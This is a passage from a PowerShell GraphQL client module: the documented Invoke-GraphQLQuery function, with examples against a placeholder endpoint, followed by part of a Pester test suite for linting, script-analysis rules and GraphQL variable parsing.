.SYNOPSIS 4 | Sends a query or mutation to a GraphQL endpoint. 5 | .DESCRIPTION 6 | Sends a query (read operation) or mutation (create, update, delete operation) to a GraphQL endpoint. 7 | .PARAMETER Query 8 | The GraphQL query or mutation to send to the endpoint. 9 | .PARAMETER FilePath 10 | The path to a file containing a GraphQL query. 11 | .PARAMETER OperationName 12 | A meaningful and explicit name for your GraphQL operation. 13 | .PARAMETER Variables 14 | Variables expressed as a hash table or JSON string for your GraphQL operation. 15 | .PARAMETER Headers 16 | Specifies the headers of the web request expressed as a hash table. 17 | .PARAMETER Uri 18 | Specifies the Uniform Resource Identifier (URI) of the GraphQL endpoint to which the GraphQL query or mutation is sent. 19 | .PARAMETER WebSession 20 | Specifies a web request session. Enter the variable name, including the dollar sign (`$`). 21 | .PARAMETER Raw 22 | Tells the function to return a JSON string as opposed to objects. 23 | .PARAMETER ContentType 24 | Specifies the ContentType for the Webrequest (Default: "application/json"). Can be used to resolve encoding problems. 25 | .PARAMETER Detailed 26 | Returns parsed and raw responses from the GraphQL endpoint as well as HTTP status code, description, and response headers. 27 | .PARAMETER EscapeHandling 28 | Specifies the escape handling mechanism for JSON conversion. Usage of this parameter is only applicable to PowerShell versions 6 and above. 29 | .PARAMETER SkipCertificateCheck 30 | Tells the function to skip certificate validation checks that include expiration, revocation, trusted root authority, etc. This parameter is only supported in PowerShell 7 or greater. 31 | .NOTES 32 | Query and mutation default return type is a collection of objects. To return results as JSON, use the -Raw parameter. To return both parsed and raw results, use the -Detailed parameter. 33 | .EXAMPLE 34 | $uri = "https://mytargetserver/v1/graphql" 35 | 36 | $query = ' 37 | query RollDice($dice: Int!, $sides: Int) { 38 | rollDice(numDice: $dice, numSides: $sides) 39 | }' 40 | 41 | $variables = ' 42 | { 43 | "dice": 3, 44 | "sides": 6 45 | }' 46 | 47 | Invoke-GraphQLQuery -Uri $uri -Query $query -Variables $variables 48 | 49 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with variables defined in $variables as JSON. 50 | .EXAMPLE 51 | $uri = "https://mytargetserver/v1/graphql" 52 | 53 | $queryFilePath = "./queries/rolldice.gql" 54 | 55 | Invoke-GraphQLQuery -Uri $uri -FilePath $queryFilePath -Variables $variables 56 | 57 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with the query defined in ./queries/rolldice.gql including variables defined in $variables as JSON. 58 | .EXAMPLE 59 | $uri = "https://mytargetserver/v1/graphql" 60 | 61 | $query = ' 62 | query RollDice($dice: Int!, $sides: Int) { 63 | rollDice(numDice: $dice, numSides: $sides) 64 | }' 65 | 66 | $variables = @{dice=3; sides=6} 67 | 68 | Invoke-GraphQLQuery -Uri $uri -Query $query -Variables $variables 69 | 70 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with variables defined in $variables. 71 | .EXAMPLE 72 | $uri = "https://mytargetserver/v1/graphql" 73 | 74 | $introspectionQuery = ' 75 | query allSchemaTypes { 76 | __schema { 77 | types { 78 | name 79 | kind 80 | description 81 | } 82 | } 83 | } 84 | ' 85 | 86 | Invoke-GraphQLQuery -Uri $uri -Query $introspectionQuery -Raw 87 | 88 | Sends a GraphQL introspection query to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as JSON. 89 | .EXAMPLE 90 | $uri = "https://mytargetserver/v1/graphql" 91 | 92 | $results = Invoke-GraphQLQuery -Uri $uri 93 | 94 | Sends a GraphQL introspection query using the default value for the Query parameter (as opposed to specifying it) to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as objects and assigning the results to the $results variable. 95 | .EXAMPLE 96 | $uri = "https://mytargetserver/v1/graphql" 97 | 98 | $myQuery = ' 99 | query GetUsers { 100 | users { 101 | created_at 102 | id 103 | last_seen 104 | name 105 | } 106 | } 107 | ' 108 | 109 | Invoke-GraphQLQuery -Uri $uri -Query $myQuery -Raw 110 | 111 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as JSON. 112 | .EXAMPLE 113 | $uri = "https://mytargetserver/v1/graphql" 114 | 115 | $myQuery = ' 116 | query GetUsers { 117 | users { 118 | created_at 119 | id 120 | last_seen 121 | name 122 | } 123 | } 124 | ' 125 | 126 | $result = Invoke-GraphQLQuery -Uri $uri -Query $myQuery 127 | $result.data.users | Format-Table 128 | 129 | Sends a GraphQL query to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as objects and navigates the hierarchy to return a table view of users. 130 | .EXAMPLE 131 | $jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MjAzOTMwMjgsIm5iZiI6MTYyMDM5MzAyNywiZXhwIjoxNjIwMzkzMzI4LCJzdWIiOiJtZUBjb21wYW55LmNvbSIsImp0aSI6ImMwZTk0ZTY0ODc4ZjRlZDFhZWM3YWYwYzViOWM2ZWI5Iiwicm9sZSI6InVzZXIifQ.HaTXDunEjmyUsHs7daLe-AxEpmq58QqqFziydm7MBic" 132 | 133 | $headers = @{Authorization="Bearer $jwt"} 134 | 135 | $uri = "https://mytargetserver/v1/graphql" 136 | 137 | $myQuery = ' 138 | query GetUsers { 139 | users { 140 | created_at 141 | id 142 | last_seen 143 | name 144 | } 145 | } 146 | ' 147 | 148 | $result = Invoke-GraphQLQuery -Uri $uri -Query $myQuery -Headers $headers 149 | $result.data.users | Format-Table 150 | 151 | Sends a GraphQL query using JWT for authentication to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as objects and navigates the hierarchy to return a table view of users. 152 | .EXAMPLE 153 | $uri = "https://mytargetserver/v1/graphql" 154 | 155 | $myMutation = ' 156 | mutation MyMutation { 157 | insert_users_one(object: {id: "57", name: "FirstName LastName"}) { 158 | id 159 | } 160 | } 161 | ' 162 | 163 | $requestHeaders = @{ "x-api-key"="aoMGY{+93dx&t!5)VMu4pI8U8T.ULO" } 164 | 165 | $jsonResult = Invoke-GraphQLQuery -Uri $uri -Mutation $myMutation -Headers $requestHeaders -Raw 166 | 167 | Sends a GraphQL mutation to the endpoint 'https://mytargetserver/v1/graphql' with the results returned as JSON. 168 | .EXAMPLE 169 | gql -u 'https://mytargetserver/v1/graphql' -q 'query { users { created_at id last_seen name } }' -r 170 | 171 | Sends a GraphQL query to an endpoint with the results returned as JSON (as a one-liner using aliases). 172 | .INPUTS 173 | System.IO.FileInfo 174 | A System.IO.FileInfo object is received by the FilePath parameter. 175 | .LINK 176 | https://graphql.org/ 177 | Format-Table 178 | Get-GraphQLVariableList 179 | #> 180 | [CmdletBinding(DefaultParameterSetName = "Query")] 181 | [Alias("gql", "Invoke-GraphQLMutation", "Invoke-GraphQLOperation")] 182 | [OutputType([System.Management.Automation.PSCustomObject], [System.String], [GraphQLResponseObject])] 183 | Param 184 | ( 185 | [Parameter(Mandatory = $true, 186 | ValueFromPipelineByPropertyName = $true, ValueFromPipeline = $true, 187 | Position = 0)][Alias("u")][System.Uri]$Uri, 188 | 189 | [Parameter(Mandatory = $false, ParameterSetName = "Query", 190 | ValueFromPipelineByPropertyName = $false, 191 | Position = 1)][ValidateLength(12, 1073741791)][Alias("Mutation", "Operation", "q", "m", "o")][System.String]$Query = "query introspection { __schema { types { name kind description } } }", 192 | 193 | [Parameter(Mandatory = $false, ParameterSetName = "FilePath", ValueFromPipelineByPropertyName = $true, ValueFromPipeline = $true, Position = 1)][ValidateNotNullOrEmpty()][Alias('f', 'Path')][System.IO.FileInfo]$FilePath, 194 | 195 | [Parameter(Mandatory = $false, 196 | ValueFromPipelineByPropertyName = $false, 197 | Position = 2)][ValidateLength(1, 4096)][Alias("op")][System.String]$OperationName, 198 | 199 | [Parameter(Mandatory = $false, 200 | ValueFromPipelineByPropertyName = $false, 201 | Position = 3)][ValidateNotNullOrEmpty()][Alias("v", "Arguments")][Object]$Variables, 202 | 203 | [Parameter(Mandatory = $false, 204 | ValueFromPipelineByPropertyName = $false, 205 | Position = 4)][Alias("h")][System.Collections.Hashtable]$Headers, 206 | 207 | [Parameter(Mandatory = $false, 208 | ValueFromPipelineByPropertyName = $false, 209 | Position = 5)][Alias("ws")][Microsoft.PowerShell.Commands.WebRequestSession]$WebSession, 210 | 211 | [Parameter(Mandatory = $false, Position = 6)][Alias("AsJson", "json", "r", "aj")][Switch]$Raw, 212 | 213 | [Parameter(Mandatory = $false, 214 | ValueFromPipelineByPropertyName = $false, 215 | Position = 7)][Alias("ct")][System.String]$ContentType = "application/json", 216 | 217 | [Parameter(ParameterSetName = "Query")] 218 | [Parameter(ParameterSetName = "FilePath")] 219 | [Parameter(Mandatory = $false, ParameterSetName = "Detailed", Position = 8)][Alias("d")][Switch]$Detailed, 220 | 221 | [Parameter(Mandatory = $false, 222 | ValueFromPipelineByPropertyName = $false, 223 | Position = 9)][ValidateSet('Default', 'EscapeNonAscii', 'EscapeHtml')][Alias("eh")][System.String]$EscapeHandling = "Default", 224 | 225 | [Parameter(Mandatory = $false, 226 | ValueFromPipelineByPropertyName = $false, 227 | Position = 10)][Alias("notls", "scc", "insecure", "k")][Switch]$SkipCertificateCheck 228 | ) 229 | BEGIN { 230 | # Return type when using the -Detailed switch: 231 | class GraphQLResponseObject { 232 | [Int]$StatusCode = 0 233 | [String]$StatusDescription = "" 234 | [String]$Response = "" 235 | [PSObject]$ParsedResponse = $null 236 | [String]$RawResponse = "" 237 | [HashTable]$ResponseHeaders = @{ } 238 | [TimeSpan]$ExecutionTime 239 | [Microsoft.PowerShell.Commands.WebRequestSession]$Session 240 | } 241 | 242 | # Used to determine if running PowerShell Core or earlier: 243 | $psMajorVersion = $PSVersionTable.PSVersion.Major 244 | } 245 | PROCESS { 246 | # The object that will ultimately be serialized and sent to the GraphQL endpoint: 247 | $jsonRequestObject = [ordered]@{ } 248 | 249 | if (-not(Test-Uri -InputString $Uri)) { 250 | $argumentExceptionMessage = "Provided value is not a valid URI." 251 | $ArgumentException = New-Object ArgumentException -ArgumentList $argumentExceptionMessage 252 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 253 | } 254 | 255 | [string]$graphQlQuery = "" 256 | if ($PSBoundParameters.ContainsKey("FilePath")) { 257 | $graphQlQuery = Get-Content -Path $FilePath.FullName -Raw 258 | } 259 | else { 260 | $graphQlQuery = $Query 261 | } 262 | 263 | # Trim all spaces and flatten $OperationName parameter value and add to $jsonRequestObject: 264 | if ($PSBoundParameters.ContainsKey("OperationName")) { 265 | $cleanedOperationInput = Compress-String -InputString $OperationName 266 | $jsonRequestObject.Add("operationName", $cleanedOperationInput) 267 | } 268 | 269 | # Determine if $Variables is JSON or a HashTable and add to $jsonRequestObject: 270 | if ($PSBoundParameters.ContainsKey("Variables")) { 271 | $ArgumentException = New-Object -TypeName System.ArgumentException -ArgumentList "Unable to parse incoming GraphQL variables. Please ensure that passed values are either valid JSON or of type System.Collections.HashTable." 272 | 273 | if ($Variables.GetType().Name -eq "Hashtable") { 274 | $jsonRequestObject.Add("variables", $Variables) 275 | } 276 | elseif ($Variables.GetType().Name -eq "String") { 277 | $variableTable = @{ } 278 | 279 | try { 280 | $deserializedVariables = $Variables | ConvertFrom-Json -ErrorAction Stop 281 | 282 | $deserializedVariables.PSObject.Properties | ForEach-Object { 283 | $variableTable.Add($_.Name, $_.Value) 284 | } 285 | 286 | $jsonRequestObject.Add("variables", $variableTable) 287 | } 288 | catch { 289 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 290 | } 291 | } 292 | else { 293 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 294 | } 295 | } 296 | 297 | # Trim all spaces and flatten $Query or $FilePath parameter data and add to $jsonRequestObject: 298 | $cleanedQueryInput = Compress-String -InputString $graphQlQuery 299 | if (($cleanedQueryInput.ToLower() -notlike "query*") -and ($cleanedQueryInput.ToLower() -notlike "mutation*") ) { 300 | $ArgumentException = New-Object -TypeName ArgumentException -ArgumentList "Not a valid GraphQL query or mutation. Verify syntax and try again." 301 | Write-Error -Exception $ArgumentException -Category InvalidArgument -ErrorAction Stop 302 | } 303 | 304 | # Add $graphQlQuery $jsonRequestObject: 305 | $jsonRequestObject.Add("query", $cleanedQueryInput) 306 | 307 | # Serialize $jsonRequestObject: 308 | [string]$jsonRequestBody = "" 309 | try { 310 | if ($psMajorVersion -gt 5) { 311 | $jsonRequestBody = $jsonRequestObject | ConvertTo-Json -Depth 100 -Compress -EscapeHandling $EscapeHandling -ErrorAction Stop -WarningAction SilentlyContinue 312 | } 313 | else { 314 | $jsonRequestBody = $jsonRequestObject | ConvertTo-Json -Depth 100 -Compress -ErrorAction Stop -WarningAction SilentlyContinue 315 | 316 | if ($PSBoundParameters.ContainsKey("EscapeHandling")) { 317 | Write-Warning -Message "EscapeHandling is not supported for Invoke-GraphQLQuery for the detected PowerShell version." 318 | } 319 | } 320 | } 321 | catch { 322 | Write-Error -Exception $_.Exception -Category InvalidResult -ErrorAction Stop 323 | } 324 | 325 | [HashTable]$params = @{ 326 | Uri = $Uri 327 | Method = "Post" 328 | Body = $jsonRequestBody 329 | ContentType = $ContentType 330 | ErrorAction = "Stop" 331 | UseBasicParsing = $true 332 | } 333 | 334 | # Skip TLS validation if PowerShell Core: 335 | if ($PSBoundParameters.ContainsKey("SkipCertificateCheck")) { 336 | if ($PSVersionTable.PSVersion.Major -ge 7) { 337 | $params.Add("SkipCertificateCheck", $true) 338 | } 339 | else { 340 | Write-Warning -Message "The SkipCertificateCheck parameter is only supported in PowerShell 7 or greater." 341 | } 342 | } 343 | 344 | if ($PSBoundParameters.ContainsKey("Headers")) { 345 | $params.Add("Headers", $Headers) 346 | } 347 | 348 | # Use or establish a web session: 349 | $currentSession = "currentSession" 350 | if ($PSBoundParameters.ContainsKey("WebSession")) { 351 | $params.Add("WebSession", $WebSession) 352 | } 353 | else { 354 | $params.Add("SessionVariable", $currentSession) 355 | } 356 | 357 | if ($PSBoundParameters.ContainsKey("Detailed")) { 358 | # Object to be returned for the Detailed parameter: 359 | $gqlResponse = [GraphQLResponseObject]::new() 360 | 361 | # Skip HTTP error checking only when the Detailed parameter is used: 362 | if ($PSVersionTable.PSVersion.Major -ge 7) { 363 | $params.Add("SkipHttpErrorCheck", $true) 364 | } 365 | 366 | $response = $null 367 | try { 368 | # Capture the start time: 369 | $startDateTime = Get-Date 370 | 371 | # Execute the GraphQL operation: 372 | $response = Invoke-WebRequest @params 373 | 374 | # Capture the end time in order to obtain the delta for the ExecutionTime property: 375 | $endDateTime = Get-Date 376 | 377 | # Calculate execution time: 378 | $gqlResponse.ExecutionTime = (New-TimeSpan -Start $startDateTime -End $endDateTime) 379 | } 380 | catch { 381 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop 382 | } 383 | 384 | # Populate properties of object to be returned: 385 | $gqlResponse.StatusCode = $response.StatusCode 386 | $gqlResponse.StatusDescription = $response.StatusDescription 387 | $gqlResponse.Response = $response.Content 388 | 389 | # Attempt to deserialize Content from JSON, if not populate ParsedResponse with a null value: 390 | try { 391 | $gqlResponse.ParsedResponse = $($response.Content | ConvertFrom-Json -ErrorAction Stop -WarningAction SilentlyContinue) 392 | } 393 | catch { 394 | $gqlResponse.ParsedResponse = $null 395 | } 396 | 397 | $gqlResponse.RawResponse = $response.RawContent 398 | 399 | if ($PSBoundParameters.ContainsKey("WebSession")) { 400 | $gqlResponse.Session = $WebSession 401 | } 402 | else { 403 | $gqlResponse.Session = $currentSession 404 | } 405 | 406 | # Populate ResponseHeaders property: 407 | [HashTable]$responseHeaders = @{ } 408 | $response.Headers.GetEnumerator() | ForEach-Object { 409 | $responseHeaders.Add($_.Key, $_.Value) 410 | } 411 | $gqlResponse.ResponseHeaders = $responseHeaders 412 | 413 | return $gqlResponse 414 | } 415 | else { 416 | try { 417 | $response = Invoke-RestMethod @params 418 | } 419 | catch { 420 | if ($null -ne $_.Exception.InnerException) { 421 | Write-Error -Exception $_.Exception.InnerException -Category InvalidOperation -ErrorAction Stop 422 | } 423 | else { 424 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop 425 | } 426 | } 427 | 428 | if ($PSBoundParameters.ContainsKey("Raw")) { 429 | try { 430 | return $($response | ConvertTo-Json -Depth 100 -ErrorAction Stop -WarningAction SilentlyContinue) 431 | } 432 | catch { 433 | if ($null -ne $_.Exception.InnerException) { 434 | Write-Error -Exception $_.Exception.InnerException -Category InvalidOperation -ErrorAction Stop 435 | } 436 | else { 437 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop 438 | } 439 | } 440 | } 441 | else { 442 | try { 443 | return $response 444 | } 445 | catch { 446 | if ($null -ne $_.Exception.InnerException) { 447 | Write-Error -Exception $_.Exception.InnerException -Category InvalidOperation -ErrorAction Stop 448 | } 449 | else { 450 | Write-Error -Exception $_.Exception -Category InvalidOperation -ErrorAction Stop 451 | } 452 | } 453 | } 454 | } 455 | } 456 | } 457 | -------------------------------------------------------------------------------- /PSGraphQL/Tests/PSGraphQL.Tests.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Modules @{ModuleName="Pester";ModuleVersion="4.10.1"} 2 | #requires -Module PSScriptAnalyzer 3 | 4 | $myDefaultDirectory = Get-Location 5 | 6 | Set-Location -Path $myDefaultDirectory 7 | Set-Location -Path .. 8 | 9 | $module = "PSGraphQL" 10 | 11 | $moduleDirectory = Get-Item -Path $myDefaultDirectory | Select-Object -ExpandProperty FullName 12 | 13 | Clear-Host 14 | 15 | Describe "$module Module Structure and Validation Tests" -Tag Linting -WarningAction SilentlyContinue { 16 | Context "$module" { 17 | It "has the root module $module.psm1" { 18 | "$moduleDirectory/$module.psm1" | Should -Exist 19 | } 20 | 21 | It "has the a manifest file of $module.psd1" { 22 | "$moduleDirectory/$module.psd1" | Should -Exist 23 | } 24 | 25 | It "has Functions subdirectory" { 26 | "$moduleDirectory/Functions/*.ps1" | Should -Exist 27 | } 28 | 29 | It "$module is valid PowerShell code" { 30 | $psFile = Get-Content -Path "$moduleDirectory\$module.psm1" -ErrorAction Stop 31 | $errors = $null 32 | $null = [System.Management.Automation.PSParser]::Tokenize($psFile, [ref]$errors) 33 | $errors.Count | Should -Be 0 34 | } 35 | } 36 | 37 | Context "Code Validation" { 38 | $allPs1Files = Get-ChildItem -Path "$moduleDirectory" -Filter *.ps1 -Recurse 39 | $allPs1Files | ForEach-Object { 40 | $ps1FilePath = $_.FullName 41 | It ("{0} is valid PowerShell code" -f $ps1FilePath) { 42 | $psFile = Get-Content -Path $ps1FilePath -ErrorAction Stop 43 | $errors = $null 44 | $null = [System.Management.Automation.PSParser]::Tokenize($psFile, [ref]$errors) 45 | $errors.Count | Should -Be 0 46 | } 47 | } 48 | } 49 | 50 | 51 | Context "$module.psd1" { 52 | It "should not throw an exception in import" { 53 | $modPath = "$moduleDirectory/$module.psd1" 54 | { Import-Module -Name $modPath -Force -ErrorAction Stop } | Should Not Throw 55 | } 56 | } 57 | 58 | } 59 | 60 | 61 | Describe "Testing module and cmdlets against PSSA rules" -Tag Linting -WarningAction SilentlyContinue { 62 | $scriptAnalyzerRules = Get-ScriptAnalyzerRule 63 | 64 | Context "$module test against PSSA rules" { 65 | $modulePath = "$moduleDirectory\$module.psm1" 66 | 67 | $analysis = Invoke-ScriptAnalyzer -Path $modulePath 68 | 69 | foreach ($rule in $scriptAnalyzerRules) { 70 | It "should pass $rule" { 71 | If ($analysis.RuleName -contains $rule) { 72 | $analysis | Where RuleName -eq $rule -OutVariable failures 73 | $failures.Count | Should -Be 0 74 | } 75 | } 76 | } 77 | } 78 | 79 | Get-ChildItem -Path "$moduleDirectory\Functions" -Filter *.ps1 -Recurse | ForEach-Object { 80 | Context "$_ test against PSSA rules" { 81 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -ExcludeRule PSUseShouldProcessForStateChangingFunctions 82 | 83 | foreach ($rule in $scriptAnalyzerRules) { 84 | It "should pass $rule" { 85 | If ($analysis.RuleName -contains $rule) { 86 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures 87 | $failures.Count | Should -Be 0 88 | } 89 | } 90 | } 91 | } 92 | 93 | Context "$_ test against InjectionHunter rules" { 94 | $injectionHunterModulePath = Get-Module -Name InjectionHunter -ListAvailable | Select-Object -ExpandProperty Path 95 | 96 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -CustomRulePath $injectionHunterModulePath 97 | 98 | foreach ($rule in $scriptAnalyzerRules) { 99 | It "should pass $rule" { 100 | If ($analysis.RuleName -contains $rule) { 101 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures 102 | $failures.Count | Should -Be 0 103 | } 104 | } 105 | } 106 | } 107 | } 108 | 109 | Get-ChildItem -Path "$moduleDirectory\PrivateFunctions" -Filter *.ps1 -Recurse | ForEach-Object { 110 | Context "$_ test against PSSA rules" { 111 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -ExcludeRule PSUseShouldProcessForStateChangingFunctions 112 | 113 | foreach ($rule in $scriptAnalyzerRules) { 114 | It "should pass $rule" { 115 | If ($analysis.RuleName -contains $rule) { 116 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures 117 | $failures.Count | Should -Be 0 118 | } 119 | } 120 | } 121 | } 122 | 123 | Context "$_ test against InjectionHunter rules" { 124 | $injectionHunterModulePath = Get-Module -Name InjectionHunter -ListAvailable | Select-Object -ExpandProperty Path 125 | 126 | $analysis = Invoke-ScriptAnalyzer -Path $_.FullName -CustomRulePath $injectionHunterModulePath 127 | 128 | foreach ($rule in $scriptAnalyzerRules) { 129 | It "should pass $rule" { 130 | If ($analysis.RuleName -contains $rule) { 131 | $analysis | Where-Object RuleName -eq $rule -OutVariable failures 132 | $failures.Count | Should -Be 0 133 | } 134 | } 135 | } 136 | } 137 | } 138 | } 139 | 140 | Describe "Unit Tests for GraphQLVariableList" -Tag Unit { 141 | $zeroParamQuery = 'query HeroNameAndFriends { 142 | hero { 143 | name 144 | friends { 145 | name 146 | } 147 | } 148 | }' 149 | 150 | $twoParamQuery = ' 151 | query GetUsersByUserIdAndCustRecNumber($userId: Int!, $customerRecNum: String!) { 152 | users: active_users( 153 | where: {user_id: {_eq: $userId}, _and: {customer_rec_num: {_eq: $customerRecNum}, _and: {active_users: {user_id: {_is_null: false}}}}} 154 | ) { 155 | user: active_users { 156 | email: email_address 157 | firstName: first_name 158 | lastName: last_name 159 | lastLogin: last_login_date 160 | id: user_id 161 | } 162 | } 163 | }' 164 | 165 | $threeParamMutation = ' 166 | mutation CreateUserInPlatform($firstName: String! = "", $lastName: String! = "", $email: String! = "") { 167 | createdUser: user_mgmt_create_user( 168 | user_input: {first_name: $firstName, last_name: $lastName, email_address: $email} 169 | ) { 170 | id: user_id 171 | firstName: first_name 172 | lastName: last_name 173 | email: email_address 174 | } 175 | }' 176 | 177 | $eightParamMutation = 'mutation UpdateUserAttributes($uuId: uuid!, $userId: String!, $firstName: String!, $lastName: String!, $userId: Int!, $roles: [user_roles!]!, $roleIds: [Int]!, $objects: [user_attributes!]!) { 178 | update_users( 179 | where: {user_id: {_eq: $uuId}} 180 | _set: {first_name: $firstName, last_name: $lastName} 181 | ) { 182 | affected_rows 183 | } 184 | insert_user_roles(objects: $roles) { 185 | returning { 186 | user_id 187 | role_id 188 | } 189 | } 190 | delete_user_roles( 191 | where: {role_id: {_in: $roleIds}, user_id: {_eq: $userId}} 192 | ) { 193 | affected_rows 194 | } 195 | insert_user_attributes(objects: $objects) { 196 | affected_rows 197 | } 198 | }' 199 | 200 | $nineParamMutation = 'mutation UpdateUser($uuId: uuid!, $userId: String!, $firstName: String!, $middleName: String = "",$lastName: String!, $userId: Int!, $roles: [user_roles!]!, $roleIds: [Int!]!, $objects: [user_attributes!]!) { 201 | update_users( 202 | where: {user_id: {_eq: $uuId}} 203 | _set: {first_name: $firstName, last_name: $lastName} 204 | ) { 205 | affected_rows 206 | } 207 | delete_security_user( 208 | where: {user_id: {_eq: $userId}} 209 | ) { 210 | affected_rows 211 | } 212 | insert_user_roles(objects: $roles) { 213 | returning { 214 | user_id 215 | role_id 216 | } 217 | } 218 | delete_user_roles( 219 | where: {role_id: {_in: $roleIds}, user_id: {_eq: $userId}} 220 | ) { 221 | affected_rows 222 | } 223 | insert_user_attributes(objects: $objects) { 224 | affected_rows 225 | } 226 | }' 227 | 228 | $sevenParamMutation = 'mutation RoleChangeUpdateAccountUser($uuId: uuid!, $userId: String!, $firstName: String!, $lastName: String!, $roles: [user_roles!]!, $roleIds: [Int!]!, $userId: Int!) { 229 | update_users( 230 | where: {user_id: {_eq: $uuId}} 231 | _set: {first_name: $firstName, last_name: $lastName} 232 | ) { 233 | affected_rows 234 | } 235 | insert_security_users( 236 | objects: {user_id: $userId, user_id: $userId, active_indicator: true} 237 | ) { 238 | returning { 239 | active_users { 240 | user_id 241 | last_name 242 | first_name 243 | email_address 244 | } 245 | } 246 | } 247 | insert_user_roles(objects: $roles) { 248 | returning { 249 | user_id 250 | role_id 251 | } 252 | } 253 | delete_user_roles( 254 | where: {role_id: {_in: $roleIds}, user_id: {_eq: $userId}} 255 | ) { 256 | affected_rows 257 | } 258 | }' 259 | 260 | $sevenParamMutationMultiLine = ' 261 | 262 | mutation UpdateUserTransactional( 263 | $uuId: uuid!, 264 | $userId: String!, 265 | $firstName: String!, 266 | $lastName: String!, 267 | $roles: [user_roles!]!, 268 | $roleIds: [Int!]!, 269 | $objects: [user_attributes!]!) { 270 | update_users( 271 | where: {user_id: {_eq: $uuId}} 272 | _set: {first_name: $firstName, last_name: $lastName} 273 | ) { 274 | affected_rows 275 | } 276 | insert_user_roles(objects: $roles) { 277 | returning { 278 | user_id 279 | role_id 280 | } 281 | } 282 | delete_user_roles( 283 | where: {user_id: {_eq: $userId}, _and: {role_id: {_in: $roleIds}}} 284 | ) { 285 | affected_rows 286 | } 287 | insert_user_attributes(objects: $objects) { 288 | affected_rows 289 | } 290 | delete_user_attributes( 291 | where: {user_id: {_eq: $userId}, _and: {serviced_location_id: {_in: $locationIds}}} 292 | ) { 293 | affected_rows 294 | } 295 | }' 296 | 297 | Context "Zero variable query" { 298 | It "should discover zero variables" { 299 | (GraphQLVariableList -Query $zeroParamQuery).HasVariables | Select -First 1 | Should Be False 300 | } 301 | } 302 | 303 | Context "Two variable query" { 304 | It "should discover two variables" { 305 | (GraphQLVariableList -Query $twoParamQuery).HasVariables | Select -First 1 | Should Be True 306 | (GraphQLVariableList -Query $twoParamQuery | Measure).Count | Should Be 2 307 | } 308 | 309 | It "should have an operation name of GetUsersByUserIdAndCustRecNumber" { 310 | (GraphQLVariableList -Query $twoParamQuery).Operation | Select -First 1 | Should Be "GetUsersByUserIdAndCustRecNumber" 311 | } 312 | 313 | It "should have an operation type of query" { 314 | (GraphQLVariableList -Query $twoParamQuery).OperationType | Select -First 1 | Should Be "query" 315 | } 316 | 317 | It "should contain the variable userId" { 318 | (GraphQLVariableList -Query $twoParamQuery).Parameter | Should Contain "userId" 319 | } 320 | 321 | It "should contain the variable customerRecNum" { 322 | (GraphQLVariableList -Query $twoParamQuery).Parameter | Should Contain "customerRecNum" 323 | } 324 | } 325 | 326 | Context "Three variable mutation" { 327 | It "should discover three variables" { 328 | (GraphQLVariableList -Query $threeParamMutation).HasVariables | Select -First 1 | Should Be True 329 | (GraphQLVariableList -Query $threeParamMutation | Measure).Count | Should Be 3 330 | } 331 | 332 | It "should have an operation type of mutation" { 333 | (GraphQLVariableList -Query $threeParamMutation).OperationType | Select -First 1 | Should Be "mutation" 334 | } 335 | 336 | It "should contain the variable firstName" { 337 | (GraphQLVariableList -Query $threeParamMutation).Parameter | Should Contain "firstName" 338 | } 339 | 340 | It "should contain the variable lastName" { 341 | (GraphQLVariableList -Query $threeParamMutation).Parameter | Should Contain "lastName" 342 | } 343 | 344 | It "should contain the variable email" { 345 | (GraphQLVariableList -Query $threeParamMutation).Parameter | Should Contain "email" 346 | } 347 | } 348 | 349 | Context "Eight variable mutation" { 350 | It "should discover eight variables" { 351 | (GraphQLVariableList -Query $eightParamMutation).HasVariables | Select -First 1 | Should Be True 352 | (GraphQLVariableList -Query $eightParamMutation | Measure).Count | Should Be 8 353 | } 354 | 355 | It "should have an operation name of UpdateUserAttributes" { 356 | (GraphQLVariableList -Query $eightParamMutation).Operation | Select -First 1 | Should Be "UpdateUserAttributes" 357 | } 358 | 359 | It "should have an operation type of mutation" { 360 | (GraphQLVariableList -Query $eightParamMutation).OperationType | Select -First 1 | Should Be "mutation" 361 | } 362 | 363 | It "should contain the variable uuid" { 364 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "uuid" 365 | } 366 | 367 | It "should contain the variable userId" { 368 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "userId" 369 | } 370 | 371 | It "should contain the variable firstName" { 372 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "firstName" 373 | } 374 | 375 | It "should contain the variable lastName" { 376 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "lastName" 377 | } 378 | 379 | It "should contain the variable roles" { 380 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "roles" 381 | } 382 | 383 | It "should contain the variable roleIds" { 384 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "roles" 385 | } 386 | 387 | It "should contain the variable objects" { 388 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "objects" 389 | } 390 | } 391 | 392 | Context "Nine variable mutation" { 393 | It "should discover nine variables" { 394 | (GraphQLVariableList -Query $nineParamMutation | Measure).Count | Should Be 9 395 | } 396 | 397 | It "should have an operation name of UpdateUserAttributes" { 398 | (GraphQLVariableList -Query $eightParamMutation).Operation | Select -First 1 | Should Be "UpdateUserAttributes" 399 | } 400 | 401 | It "should have an operation 